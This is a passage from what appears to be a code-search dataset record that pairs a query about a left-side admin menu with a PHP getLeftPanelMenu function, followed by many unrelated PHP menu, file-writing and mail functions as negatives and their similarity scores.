($filename)\";\n }\n\n // Write $somecontent to our opened file.\n if (fwrite($handle, $somecontent) === FALSE) {\n return \"No se pudo escribir en el archivo ($filename)\";\n }\n\n //echo \"Success, wrote (html) to file ($filename)<br/>\";\n\n fclose($handle);\n } else {\n return \"El Archivo $filename tiene permisos de escritura\";\n }\n }", "function sendHTMLMail($content,$recipient,$dummy,$fromEmail,$fromName,$replyTo='',$recepientsCopy='',$recepientsBcc='')\t{\n\t\tif (trim($recipient) && trim($content))\t{\n\t\t\t$cls=t3lib_div::makeInstanceClassName('t3lib_htmlmail');\n\t\t\tif (class_exists($cls))\t{\t// If htmlmail lib is included, then generate a nice HTML-email\n\t\t\t\t$parts = spliti('<title>|</title>',$content,3);\n\t\t\t\t$subject = trim($parts[1]) ? trim($parts[1]) : 'TYPO3 FE Admin message';\n\n\t\t\t\t$Typo3_htmlmail = t3lib_div::makeInstance('t3lib_htmlmail');\n\t\t\t\t$Typo3_htmlmail->start();\n\t\t\t\t$Typo3_htmlmail->useBase64();\n\n\t\t\t\t$Typo3_htmlmail->subject = $subject;\n\t\t\t\t$Typo3_htmlmail->from_email = $fromEmail;\n\t\t\t\t$Typo3_htmlmail->from_name = $fromName;\n\t\t\t\t$Typo3_htmlmail->replyto_email = $replyTo ? $replyTo : $fromEmail;\n\t\t\t\t$Typo3_htmlmail->replyto_name = $replyTo ? '' : $fromName;\n\t\t\t\t//modif by CMD - add return path information\n\t\t\t\t$Typo3_htmlmail->returnPath = $replyTo ? $replyTo : $fromEmail;\n\t\t\t\t$Typo3_htmlmail->organisation = '';\n\t\t\t\t$Typo3_htmlmail->priority = 3;\n\n\t\t\t\t\t// HTML\n\t\t\t\t$Typo3_htmlmail->theParts['html']['content'] = $content;\t// Fetches the content of the page\n\t\t\t\t$Typo3_htmlmail->theParts['html']['path'] = '';\n\t\t\t\t$Typo3_htmlmail->extractMediaLinks();\n\t\t\t\t$Typo3_htmlmail->extractHyperLinks();\n\t\t\t\t$Typo3_htmlmail->fetchHTMLMedia();\n\t\t\t\t$Typo3_htmlmail->substMediaNamesInHTML(0);\t// 0 = relative\n\t\t\t\t$Typo3_htmlmail->substHREFsInHTML();\n\t\t\t\t$Typo3_htmlmail->setHTML($Typo3_htmlmail->encodeMsg($Typo3_htmlmail->theParts['html']['content']));\n\n\t\t\t\t\t// PLAIN\n\t\t\t\t$Typo3_htmlmail->addPlain('');\n\n\t\t\t\t\t// SET Headers and Content\n\t\t\t\t$Typo3_htmlmail->setHeaders();\n\t\t\t\t$Typo3_htmlmail->setContent();\n\t\t\t\t$Typo3_htmlmail->setRecipient($recipient);\n\t\t\t\t$Typo3_htmlmail->recipient_copy=$recepientsCopy;\n\t\t\t\t$Typo3_htmlmail->recipient_blindcopy=$recepientsBcc;\n\t\t//\t\tdebug($Typo3_htmlmail->theParts);\n\t\t\t\t$Typo3_htmlmail->sendtheMail();\n\t\t\t} else {\n\t\t\t\tdebug('SYSTEM ERROR: No HTML-mail library loaded. Set \"page.config.incT3Lib_htmlmail = 1\" is your TypoScript template.');\n\t\t\t}\n\t\t}\n\t}", "public function write_file($file_path, $file_data) {\n /* Opening the file for writing. */\n $fp = fopen($file_path, \"w+\");\n /* wrinting into file */\n fwrite($fp, serialize($file_data));\n /* closing the file for writing. */\n fclose($fp);\n $error = $this->db->_error_message();\n $error_number = $this->db->_error_number();\n if ($error) {\n $controller = $this->router->fetch_class();\n $method = $this->router->fetch_method();\n $error_details = array(\n 'error_name' => $error,\n 'error_number' => $error_number,\n 'model_name' => 'Common_Model',\n 'model_method_name' => 'write_file',\n 'controller_name' => $controller,\n 'controller_method_name' => $method\n );\n $this->common_model->errorSendEmail($error_details);\n redirect(base_url() . 'page-not-found'); //create this route\n }\n }" ]
[ "0.6478399", "0.6380844", "0.60329175", "0.59977263", "0.5902862", "0.57994205", "0.5770783", "0.577052", "0.5753432", "0.5680101", "0.562946", "0.56015104", "0.5586008", "0.55711806", "0.55433637", "0.55271614", "0.5521383", "0.5514301", "0.5512112", "0.55002654", "0.54986304", "0.5495461", "0.5477499", "0.5416898", "0.541001", "0.54044235", "0.5400253", "0.53954977", "0.53747165", "0.53722733", "0.53719217", "0.5364289", "0.5338634", "0.5310595", "0.53065825", "0.53059125", "0.5299388", "0.52990997", "0.5282864", "0.527522", "0.5271581", "0.5268629", "0.5258157", "0.5254057", "0.52506083", "0.5245783", "0.52367336", "0.52291834", "0.52244854", "0.521954", "0.5216811", "0.52165604", "0.5211816", "0.52085906", "0.52053654", "0.5202378", "0.5196168", "0.5189436", "0.51695085", "0.51607955", "0.5152238", "0.51482445", "0.51399785", "0.51399654", "0.5138779", "0.5134002", "0.51324916", "0.5129606", "0.5128886", "0.512878", "0.5122996", "0.51208174", "0.5102454", "0.5098941", "0.509817", "0.50966877", "0.50959843", "0.509558", "0.508424", "0.50816447", "0.5078357", "0.50713736", "0.5070995", "0.50708556", "0.5069013", "0.5067072", "0.50649583", "0.50646883", "0.5062649", "0.5060454", "0.5053693", "0.5053446", "0.50524336", "0.50488335", "0.50444424", "0.50404", "0.50389415", "0.5037565", "0.5037452", "0.5035374" ]
0.6641652
0
/ This function will return the menu to be displayed on left side of the mmm interface.
public static function getLeftPanelMenu() { $arr["Create new mailer"] = "createMailer"; $arr["Form Query(Jeevansathi)"] = "formQueryJs"; $arr["Form Query(99acres)"] = "formQuery_99"; $arr["Upload a CSV"] = "csvUpload"; $arr["Write Mail"] = "writeMail"; $arr["Set Test Email Id "] = "setTestId"; $arr["Mail Fire Menu"] = "fireMenu"; $arr["MIS"] = "mis"; $arr["MIS-99"] = "mis99"; $arr["MIS-Generate Csv"] = "createCsv"; $arr["Get Link For Client MIS"] = "clientMISLink"; $arr["Logout"] = "logout"; return $arr; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function viewLeftMenu()\n\t{\n\t\t$viewLevelResult\t= $this->manageLeftMenu('V', '0', '', '', '0', '0');\n\t\treturn $viewLevelResult;\n\t}", "public function getMenu();", "public function get_menu()\r\n {\r\n return '';\r\n }", "public function menu_main_menu()\n {\n return menu_main_menu();\n }", "protected function getLeft()\n\t{\n\t\t$items = MenuDB::getMainMenu();\n\t\t$mainmenu = new MainMenu();\n\t\t$mainmenu->uri = $this->url_active;\n\t\t$mainmenu->items = $items;\n\t\tif ($this->auth_user) {\n\t\t\t$user_panel = new UserPanel(); //панель авт. юзера\n\t\t\t$user_panel->user = $this->auth_user;\n\t\t\t$user_panel->uri = $this->url_active;\n\t\t\t$user_panel->addItem(\"Редактировать профиль\", URL::get(\"editprofile\", \"user\"));\n\t\t\t$user_panel->addItem(\"Выход\", URL::get(\"logout\"));\n\t\t} else {\n\t\t\t$user_panel = \"\";\n\t\t}\n\t\t$poll_db = new PollDB();\n\t\t$poll_db->loadRandom();\n\t\tif ($poll_db->isSaved()) {\n\t\t\t$poll = new Poll();\n\t\t\t$poll->action = URL::get(\"poll\", \"\", array(\"id\" => $poll_db->id));\n\t\t\t$poll->title = $poll_db->title;\n\t\t\t$poll->data = PollDataDB::getAllOnPollID($poll_db->id);\n\t\t} else {\n\t\t\t$poll = \"\";\n\t\t}\n\n\t\treturn $user_panel . $mainmenu . $poll;\n\t}", "public function menu()\n {\n return $this->menu;\n }", "public function menu()\n {\n return $this->menu;\n }", "public function menu( )\n {\n\n if( $this->view->isType( View::SUBWINDOW ) )\n {\n $view = $this->view->newWindow('WebfrapMainMenu', 'Default');\n }\n else if( $this->view->isType( View::MAINTAB ) )\n {\n $view = $this->view->newMaintab('WebfrapMainMenu', 'Default');\n $view->setLabel('Explorer');\n }\n else\n {\n $view = $this->view;\n }\n\n $view->setTitle('Webfrap Main Menu');\n\n $view->setTemplate( 'webfrap/menu/modmenu' );\n\n $modMenu = $view->newItem( 'modMenu', 'MenuFolder' );\n $modMenu->setData( DaoFoldermenu::get('webfrap/root',true) );\n\n }", "private function left_menu()\n\t\t{\n\t\t\t $page_name = functions::get_page_name();\n\t\t\techo '\n\t\t\t\t<ul>\n\t\t\t\t\t';\n\t\t\t\t\t\n\t\t\t\t\t$content_module = array('manage_content.php', 'register_content.php', 'manage_page_content.php', 'register_page_content.php','manage_content_option.php', 'register_content_option.php'\n\t\t\t\t\t,'manage_category.php', 'register_category.php');\n\t\t\t\t\tif(in_array($page_name, $content_module))\n\t\t\t\t\t{\n\t\t\t\t\t\techo '\n\t\t\t\t\t\t<li>\n\t\t\t\t\t\t<img src=\"images/icon-content.png\" alt=\"Manage CMS\" title=\"Manage CMS\" width=\"24\" height=\"24\" />\n\t\t\t\t\t\t<a href=\"manage_content.php\">CMS</a>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li><a href=\"manage_page_content.php\">Page Content</a></li>\n\t\t\t\t\t\t<li><a href=\"manage_category.php\">Category</a></li>\n\t\t\t\t\t\t\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t</li>';\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\techo '<li><img src=\"images/icon-content.png\" alt=\"Manage CMS\" title=\"Manage CMS\" width=\"24\" height=\"24\" /><a href=\"manage_content.php\" >CMS</a></li>';\n\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\techo '<li><img src=\"images/icon-member.png\" alt=\"Manage Member\" title=\"Manage Member\" width=\"24\" height=\"24\" /><a href=\"manage_member.php\" >Member</a></li>\n\t\t\t\t\t<!--<li><img src=\"images/icon-property.png\" alt=\"Manage Property Type\" title=\"Manage Property Type\" width=\"24\" height=\"24\" /><a href=\"manage_property_type.php\" >Property Type</a></li>-->\n\t\t\t\t\t\n\t\t\t\t\t<li><img src=\"images/icon-property.png\" alt=\"Manage Hotel\" title=\"Manage Hotel\" width=\"24\" height=\"24\" /><a href=\"manage_hotel.php\" >Hotel</a></li>\n\t\t\t\t\t<li><img src=\"images/icon-restaurant.jpg\" alt=\"Manage Restaurant\" title=\"Manage Restaurant\" width=\"24\" height=\"24\" /><a href=\"manage_restaurant.php\" >Restaurant</a></li>\n\t\t\t\t\t<li><img src=\"images/icon-venue.png\" alt=\"Manage Venue\" title=\"Manage Venue\" width=\"24\" height=\"24\" /><a href=\"manage_venue.php\" >Venue</a></li>\n\t\t\t\t\t';\n\t\t\t\t\t\t\n\t\techo '</ul>';\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t}", "public function getMenu()\n\t{\n\t\treturn $this->menu;\n\t}", "public function modMenu() {}", "public function modMenu() {}", "public function modMenu() {}", "public function getMenuOn( ) {\n return $this->menu;\n }", "protected function _menu()\n\t{\n\t\tif (ee()->view->disabled('ee_menu'))\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tee()->view->cp_main_menu = ee()->menu->generate_menu();\n\t}", "public function getMenu() {\n\t\treturn $this->menu;\n\t}", "public function LeftNavigation() {\n\t\t$pageId = (isset($_GET['page'])) ? (int)$_GET['page'] : 0;\n \n if(($page = DataObject::get_by_id('Page', $pageId))) {\n Director::set_current_page($page);\n }\n\n return $this->renderWith('LeftNavigation');\n }", "public function getMenu()\n {\n return null;\n }", "public function get_menu()\n\t{\n\t\treturn $this->get_session('admin_menu_html');\n\t}", "public static function getMenu()\n\t{\n\t\treturn self::$menu;\n\t}", "private function menu()\n {\n $data['links'] = ['create', 'read', 'update', 'delete'];\n\n return $this->view->render($data, 'home/menu');\n }", "public function makeMenu() {}", "public function getMenu(){\n\n\t\treturn $this->get();\n\t}", "static public function _MENU(){\n if (b_reg::$current_module == VM_MODULE) start_VM();\n return loader::_fromCache('APImenu_vm'); \n }", "protected function buildMenu() {\n// $structures = DataSource::factory(Structure::cls());\n// $structures->builder()\n// ->where(\"structure_id=0\")\n// ->order('priority');\n// /** @var Structure[] $aStructures */\n// $aStructures = $structures->findAll();\n// foreach ($aStructures as $oStructure) {\n// $menu->addLeftItem($oStructure->name, $oStructure->path);\n// $this->loadMenuItems($menu->findLeftItemByPath($oStructure->path), $oStructure);\n// }\n//\n// $view = new ViewMMenu();\n// $view->menu = $menu;\n// return $view;\n\n $ViewMainMenu = new ViewMainMenu($this->config['name']);\n $this->setMenuItems($ViewMainMenu->itemsList);\n $currentPath = explode('?', $this->Router->getRoute());\n $ViewMainMenu->currentPath = reset($currentPath);\n\n return $ViewMainMenu;\n }", "protected function getModuleMenu() {}", "protected function getModuleMenu() {}", "protected function getModuleMenu() {}", "public function leftnav ()\n\t{\n\t}", "function getMenu()\n {\n return $this->getAttribute(\"menu\");\n }", "public function getMenu()\r\n {\r\n $auth = $this->session->get('auth');\r\n if ($auth) {\r\n $this->_headerMenu['navbar-right']['session'] = array(\r\n 'caption' => 'Log Out',\r\n 'action' => 'end'\r\n );\r\n } else {\r\n unset($this->_headerMenu['navbar-left']['invoices']);\r\n }\r\n\r\n $controllerName = $this->view->getControllerName();\r\n foreach ($this->_headerMenu as $position => $menu) {\r\n echo '<div class=\"nav-collapse\">';\r\n echo '<ul class=\"nav navbar-nav ', $position, '\">';\r\n foreach ($menu as $controller => $option) {\r\n if ($controllerName == $controller) {\r\n echo '<li class=\"active\">';\r\n } else {\r\n echo '<li>';\r\n }\r\n echo $this->tag->linkTo($controller . '/' . $option['action'], $option['caption']);\r\n echo '</li>';\r\n }\r\n echo '</ul>';\r\n echo '</div>';\r\n }\r\n\r\n }", "function showMenu_left($page) {\n $menu = $this->getArray('sys_menu_group', 'status=1', 'position asc');\n $next1 = \"<b>&nbsp;&rsaquo;&nbsp;</b>\";\n echo '<div class=\"m_left_top\">Danh mục</div>\n\n\n\n\n\n\n\n <div class=\"m_left_center\">';\n if (count($menu) > 0) {\n foreach ($menu as $value) {\n $submenu = $this->getArray('sys_table', \"menu=1 AND menu_group_id='\" . $value[\"id\"] . \"'\", 'position asc');\n $groupmenu_html = '';\n if (count($submenu) > 0) {\n $submenu_html = '';\n foreach ($submenu as $v) {\n $id = $v['id'];\n if ($_SESSION[\"user_login\"][\"role_id\"] == 11) {\n $_SESSION['permission'][$id]['is_list'] = 1;\n $_SESSION['permission'][$id]['is_edit'] = 1;\n $_SESSION['permission'][$id]['is_insert'] = 1;\n $_SESSION['permission'][$id]['is_delete'] = 1;\n }\n if ($_SESSION['permission'][$id]['is_list']) {\n $submenu_html .= '<div class=\"item_menu\"><a class=\"sub\" href=\"' . (($v['custom_link']) ? $v['custom_link'] : 'mngMain.php') . '?table_name=' . stripslashes($v[\"table_name\"]) . '\">' . $next1 . '' . $v[\"title\"] . '</a></div>';\n $submenu_html .= '<div style=\"clear:both\"></div>';\n }\n }\n if ($submenu_html) {\n $groupmenu_html .= '<div class=\"menu_right\" id=\"menu_right\">';\n $groupmenu_html .= $submenu_html;\n $groupmenu_html .= \"</div>\";\n $groupmenu_html .= '<div style=\"clear:both\"></div>';\n $groupmenu_html .= '<div class=\"hr\"></div>';\n }\n }\n if ($groupmenu_html) {\n echo '<div class=\"title_r\">' . $value[\"title\"] . '</div>';\n echo '<div class=\"clear\"></div>';\n echo $groupmenu_html;\n }\n }\n }\n echo '</div>';\n }", "public abstract function getPrevMenu();", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "protected function generateMenu() {}", "function getMenuPosition();", "function mai_do_header_left() {\n\tif ( ! ( is_active_sidebar( 'header_left' ) || has_nav_menu( 'header_left' ) ) ) {\n\t\treturn;\n\t}\n\n\t// Header Left widget area\n\tif ( is_active_sidebar( 'header_left' ) ) {\n\t\t_mai_add_widget_header_menu_args();\n\t\tgenesis_widget_area( 'header_left' );\n\t\t_mai_remove_widget_header_menu_args();\n\t}\n\n\t// Header Left menu\n\tif ( has_nav_menu( 'header_left' ) ) {\n\t\techo genesis_get_nav_menu( array( 'theme_location' => 'header_left' ) );\n\t}\n}", "static public function getMenu() {\n $query = mysql_query(\"SELECT `menu` FROM `info` WHERE `id` = '0'\");\n return mysql_result($query, 0, 'menu');\n }", "public function alternateMenu() {\r\n return [\r\n '#markup' => $this->t('This will be in the Main menu instead of the default Tools menu'),\r\n ];\r\n\r\n }", "public static function returnMenu() {\n }", "public function topMenuNavigation() {\n\t\t$out = '';\n\t\tif($modules = DataObject::get('WorkflowCategory', '', 'priority ASC')) {\n\t\t\tforeach ($modules as $module) {\n\t\t\t\tif (Permission::check(strtoupper(str_replace(\" \", \"_\", $module->name)))) {\n\t\t\t\t\t$icon = '';\n\t\t\t\t\tif($image = DataObject::get_by_id('Image', $module->imageID)) {\n\t\t\t\t\t\tif($smImage = $image->setSize(16,16)) {\n\t\t\t\t\t\t\t$icon = $smImage->URL;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$out .= \"\n\t\t\t\t\t{\n\t\t\t\t\t\ttext: '{$module->name}', \n\t\t\t\t\t\ticon: '{$icon}',\n\t\t\t\t\t\tmenu: {$this->moduleItems($module->ID)}\n\t\t\t\t\t},\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $out;\n\t}", "function left_menu()\n {\n $query_string = \"SELECT * FROM menus where menu_position = 'Left' AND menu_published ='Yes' AND menu_status = 'Active'\";\n\n $items = $this->db->query($query_string);\n $left_menu_data =\"<ul>\";\n foreach ($items->result() as $row)\n {\n // $left_menu_data .= $row->menu_id;\n // $left_menu_data .= $row->menu_name;\n $left_menu_data .= '<li><a href=\"'. base_url().'index.php/Contact_Management_User/get_value/'.$row->menu_id.'\"> '.$row->menu_name.' </a></li>';\n \n }\n $left_menu_data .=\"</ul>\"; \n return $left_menu_data;\n }", "public static function menu(){\n return new sai_module_menu( 1,\n sai_module_menu::POISITION_RIGHT,\n sai_module_menu::DIVIDER_NONE,\n \\SYSTEM\\PAGE\\replace::replaceFile((new \\SYSTEM\\PSAI('modules/saimod_sys_git/tpl/menu.tpl'))->SERVERPATH()));}", "public static function defaultMenu() {\n //construct the menu items\n $menu = '<ul class=\"nav pull-right\">\n <li>' . Html::a('<i class=\"icon-off icon-black\"></i> ' . Yii::t(Yii::app()->language,\n 'Login'), array(\n '/site/login')) . '</li>\n </ul>';\n return $menu;\n }", "public function menu()\n {\n \treturn view('intern.operasional.admin.setting.database.menu');\n }", "function login_menu()\n\t{\n\t\t$menu=\"\";\n\t\t$bap=CBapelsin::instance();\n\t\t\n\t\tif($bap->user->isAuthenticated())\n\t\t{\n\t\t\t$user=$bap->user->getUserProfile();\n\t\t\t$menu=\"\";\n\t\t\tif($bap->config['login_menu'][\"show_gravatar\"])\n\t\t\t\t$menu.=\"<a href='http://gravatar.com/site/signup/'><img class='gravatar' src='\".get_gravatar(20).\"'></a>\";\n\t\t\t\n\t\t\tif($bap->config['login_menu']['profile']['label']==\"__profile\")\n\t\t\t\t$label=$user['acronym'];\n\t\t\telse\n\t\t\t\t$label=$bap->config['login_menu']['profile']['label'];\n\t\t\t\n\t\t\t$menu.=\"<a href='{$bap->request->createUrl($bap->config['login_menu']['profile']['src'])}'>{$label}</a> \";\n\t\t\tif($bap->user->isAdministrator())\n\t\t\t{\n\t\t\t\t$menu.=\"<a href='{$bap->request->createUrl($bap->config['login_menu']['acp']['src'])}'>{$bap->config['login_menu']['acp']['label']}</a> \";\n\t\t\t}\n\t\t\t$menu.=\"<a href='{$bap->request->createUrl($bap->config['login_menu']['logout']['src'])}'>{$bap->config['login_menu']['logout']['label']}</a>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$menu=\"<a href='{$bap->request->createUrl($bap->config['login_menu']['login']['src'])}'>{$bap->config['login_menu']['login']['label']}</a>\";\n\t\t}\t\t\n\t\tif(isset($bap->config['show_login_menu']) && isset($bap->config['show_login_menu']))\n\t\t\treturn $menu;\n\t\telse \n\t\t\treturn \"\";\n\t}", "public function headerMenu()\n {\n if ($this->headerMenu === null) {\n $dashboardConfig = $this->dashboardConfig();\n\n if (isset($dashboardConfig['sidemenu'])) {\n $this->headerMenu = $this->createHeaderMenu($dashboardConfig['sidemenu']);\n } else {\n $this->headerMenu = $this->createHeaderMenu();\n }\n }\n\n return $this->headerMenu;\n }", "public function _built_right_menu()\n\t{\n\t\treturn '';\n\t}", "public function _built_right_menu()\n\t{\n\t\treturn '';\n\t}", "function getMenuTitle();", "public function getMenus()\n\t{\n\n\t}", "public static function returnMenu() {\n return NULL;\n }", "protected function menus()\n {\n\n }", "public function getMenus() {}", "private function PH_PageMenu(){\n $site_menu = self::$xvi_api->GetSiteMenu();\n $page_menu = self::$xvi_api->GetPageMenu();\n \n $menu =\"\";\n foreach($site_menu as $menu_item=>$menu_path) {\n if (strcmp($menu_item,$page_menu[\"item\"])) { /*not selected menu item*/\n $menu .= \"<li><a href=\\\"\".$menu_path.\"\\\"<span></span>\".$menu_item.\"</a></li>\";\n } else { /* it is selected menu*/\n $menu .= \"<li><a class=\\\"sel\\\" href=\\\"\".$menu_path.\"\\\"<span></span>\".$menu_item.\"</a></li>\";\n }\n }\n return $menu;\n }", "public function writeMenu() {}", "public function writeMenu() {}", "public function writeMenu() {}", "public function writeMenu() {}", "function getMenuItems()\n {\n $this->menuitem(\"xp\", \"\", \"main\", array(\"xp.story\", \"admin\"));\n $this->menuitem(\"stories\", dispatch_url(\"xp.story\", \"admin\"), \"xp\", array(\"xp.story\", \"admin\"));\n }", "public function leftNavPanel() {\r\n\t\tprint file_get_contents('html/leftnav.html');\r\n\t}", "private function getCurrentMenuName(){\n \n if(!$this->currentmenuname)\n $this->setCurrentMenuName();\n \n return $this->currentmenuname;\n \n }", "public function getMenu()\n {\n if (!$this->hasMenu()) {\n $this->setMenu(false);\n\n $menu = $this->menuFactory->create()->load($this->_getData('nav_menu'));\n\n if ($menu->getId()) {\n $this->setMenu($menu);\n }\n }\n\n return $this->_getData('menu');\n }", "public function menu_list_system_menus()\n {\n return menu_list_system_menus();\n }", "function tmpModuleLeft() {\n if(function_exists('appModuleLeft')) {\n $continue=appModuleLeft();\n if(!$continue) return;\n }\n \n //echo \"<br/>\";\n if (!LoggedIn()) return;\n\n // Only display menu if \n if(OptionGet('MENULEFT','Y')=='Y') { \n $module=SessionGet(\"AGMENU_MODULE\");\n $AGMENU=SessionGet(\"AGMENU\");\n $kount=0;\n \n if(isset($AGMENU[$module])) {\n $desc=$AGMENU[$module]['description'];\n \n echo \"<div class=\\\"moduletable\\\"><h3>$desc</h3></div>\";\n echo \"<table width=\\\"100%\\\">\";\n foreach($AGMENU[$module]['items'] as $key=>$info) {\n $hExtra=' tabindex=\"'.hpTabIndexNext(100).'\"';\n // We may make the first item the focused item if nothing else\n // has been picked yet. This code runs when rendering is going on\n // and the class-specific biz code has all run already, so it will\n // not override any business-specific focus setting\n if(vgfGet('HTML_focus')=='') {\n $hExtra.=' ID=\"FIRSTSPLITMENU\" NAME=\"FIRSTSPLITMENU\" ';\n vgfSet('HTML_focus','FIRSTSPLITMENU');\n }\n \n $kount++;\n $d='?gp_page='.$key;\n $h=hLink(\"mainlevel\",$info['description'],$d,$hExtra);\n echo \"\\n<tr><td class=\\\"leftcol\\\">$h</td></tr>\";\n \n // Possibly two more links \n if(ArraySafe($info,'linknew')=='Y') {\n $hx=' tabindex=\"'.hpTabIndexNext(100).'\" style=\"margin-left:30px\"';\n $h=hLink(\"mainlevel\",'New',$d.'&gp_mode=ins',$hx);\n echo \"\\n<tr><td class=\\\"leftcol\\\">$h</td></tr>\";\n }\n if(ArraySafe($info,'linksearch')=='Y') {\n $hx=' tabindex=\"'.hpTabIndexNext(100).'\" style=\"margin-left:30px\"';\n $h=hLink(\"mainlevel\",'Search',$d.'&gp_mode=search',$hx);\n echo \"\\n<tr><td class=\\\"leftcol\\\">$h</td></tr>\";\n }\n }\n echo \"</table>\";\n }\n }\n //while ($kount++ < 30) { echo \"<br>\"; }\n}", "public function menu()\n {\n return Menu::build($this->sections(), function ($menu, $option) {\n if (isset($option['section'])) {\n $menu->html(\n '<li class=\"m-menu__section \">' .\n '<h4 class=\"m-menu__section-text\">' . __('app.roles.' . $option['section']) . '</h4>' .\n '<i class=\"m-menu__section-icon flaticon-more-v2\"></i>' .\n '</li>'\n );\n } else {\n $menu->route(isset($option['route']) ? $option['route'] : $option['crud'] . '.index',\n '<i class=\"m-menu__link-icon ' . $option['icon'] . '\"></i>' .\n '<span class=\"m-menu__link-title\">' .\n '<span class=\"m-menu__link-wrap\">' .\n '<span class=\"m-menu__link-text\">' . __('app.titles.' . $option['crud']) . '</span>' .\n '</span>' .\n '</span>'\n );\n }\n })\n ->addClass('m-menu__nav m-menu__nav--dropdown-submenu-arrow')\n ->append('</div></div>')\n ->each(function (Link $link) {\n $link->addClass('m-menu__link')\n ->addParentClass('m-menu__item')\n ->setParentAttribute('aria-haspopup', 'true');\n })\n ->prepend(\n '<div id=\"m_aside_left\" class=\"m-grid__item\tm-aside-left m-aside-left--skin-dark\">' .\n '<div id=\"m_ver_menu\" class=\"m-aside-menu m-aside-menu--skin-dark m-aside-menu--submenu-skin-dark\" m-menu-vertical=\"1\" m-menu-scrollable=\"1\" m-menu-dropdown-timeout=\"500\" style=\"position: relative;\">'\n )\n ->setActive(url()->current())\n ->setActiveClass('m-menu__item--active')\n ;\n }", "protected function getMenu() {\n $lMethods = $this->allcsvfilelist();\n natcasesort($lMethods);\n \n $lInherited = get_class_methods('CCor_Cnt');\n $lMenu = new CHtm_Vmenu(lan('sys-doc.menu'));\n foreach ( $lMethods as $lMethod ) {\n if (substr($lMethod, 0, 3) != 'act')\n continue;\n /*\n * if (substr ( $lMethod, 3, 1 ) == 'S')\n * continue;\n */\n if (in_array($lMethod, $lInherited))\n continue;\n \n $lAct = substr($lMethod, 3);\n $lMenu->addItem($lMethod, 'index.php?act=sys-doc.' . strtolower($lAct), $lAct);\n }\n \n $lMenu->setKey('act' . ucfirst($this->mAct));\n return $lMenu;\n }", "abstract public function getMenuView(): string;", "public function network_admin_menu()\n\t{\n\t\treturn $this->admin_menu();\n\t}", "function menus();", "private function menu() {\n // Array Map: Key(Menu Elements) => Array(Bold, Not Dynamic tag)\n if(isset($_SESSION['isAdmin'])) {\n $data['menu'] = [\n 'dashboard' => [false, false],\n 'general' => [false, false],\n 'weather' => [false, false],\n 'themes' => [false, false],\n 'languages' => [false, false],\n 'info_pages' => [false, false],\n 'ads' => [false, false],\n 'password' => [false, false],\n 'logout' => [false, true]\n ];\n } else {\n $data['menu'] = [\n 'login' => [false, false],\n ];\n }\n\n // If on the current route, enable the Bold flag\n $data['menu'][$this->url[1]][0] = true;\n\n return $this->view->render($data, 'admin/menu');\n }", "public function menu()\n {\n $menu_raw = $this->db->select('fs_department.id as de_id, fs_department.name as de_name, fs_category.*')\n ->from('fs_department')\n ->join('fs_category', 'fs_department.id = fs_category.department_id', 'left')\n ->get()->result_array();\n\n $menu_good = array();\n foreach ($menu_raw as $k => $v) {\n $menu_good[$v['de_name']][$k] = $v;// short array menu\n }\n return $menu_good;\n\n }", "public function createMainMenuLeft(Request $request)\r\n {\r\n $menu = $this->factory->createItem('root', array(\r\n \t'childrenAttributes' => array('class' => 'pull-left')\r\n ));\r\n \r\n $this->addMainMenuLeft($menu);\r\n \r\n $menu->setCurrent($request->getRequestUri());\r\n\r\n return $menu;\r\n }", "public function menuItems()\n\t{\n\t\treturn array(\n array('label'=>$this->labelMenu!==null?$this->labelMenu:Yii::t('app','Generator'), 'icon'=>'fa fa-code', 'url'=>'#','items'=>$this->getMyselfMenu(),'visible'=>Yii::app()->getModule('users')->check('root')),\n );\n\t}", "function get_menu()\r\n {\r\n $extra_items = array();\r\n $create = array();\r\n $create['title'] = Translation :: get('Send');\r\n $create['url'] = $this->get_personal_message_creation_url();\r\n $create['class'] = 'type_compose';\r\n $extra_items[] = $create;\r\n\r\n $temp_replacement = '__FOLDER__';\r\n $url_format = $this->get_url(array(\r\n Application :: PARAM_ACTION => PersonalMessengerManager :: ACTION_BROWSE_MESSAGES,\r\n PersonalMessengerManager :: PARAM_FOLDER => $temp_replacement));\r\n $url_format = str_replace($temp_replacement, '%s', $url_format);\r\n $user_menu = new PersonalMessengerMenu($this->get_folder(), $url_format, $extra_items);\r\n\r\n if ($this->get_action() == self :: ACTION_CREATE_PUBLICATION)\r\n {\r\n $user_menu->forceCurrentUrl($create['url'], true);\r\n }\r\n\r\n $html = array();\r\n $html[] = '<div style=\"float: left; width: 15%;\">';\r\n $html[] = $user_menu->render_as_tree();\r\n $html[] = '</div>';\r\n\r\n return implode($html, \"\\n\");\r\n }", "protected function generateModuleMenu() {}", "function displayLeftMenu( $accessLevel,\n $selectedMenuItem = -1 )\n {\n $this->accessLevel = $accessLevel;\n $this->selectedMenuItem = $selectedMenuItem;\n\n\n switch( $accessLevel )\n {\n case AL_EMPLOYEE:\n return $this->displayEmployeeLeftMenu();\n break;\n\n case AL_PROCUREMENT_MEMBER:\n return $this->displayProcurementMemberLeftMenu();\n break;\n\n case AL_MANAGER:\n return $this->displayManagerLeftMenu();\n break;\n\n case AL_ADMIN:\n return $this->displayAdminLeftMenu();\n break;\n\n default:\n // unknown access level\n } \n\n return \"\";\n\n }", "function getMenuItems()\n {\n }", "public function getDefaultMenu()\n\t{\n\t\treturn 'base';\n\t}", "protected function _getMenuName()\n\t{\n\t\treturn self::$_sMenuName;\n\t}", "function modMenu() {\n\t\tglobal $LANG;\n\n\t\treturn Array (\n\t\t\t\"tx_dam_ivs_videobasic_modfunc_status_check\" => \"\",\n\t\t);\n\t}", "protected function _getLeftNavHtml()\n {\n if ($this->_request->getFullActionName() == self::CATEGORY_VIEW_ACTION_NAME) {\n return $this->_layout->getBlock($this->_vars['catalog_left_navigation_block'])->toHtml();\n } elseif 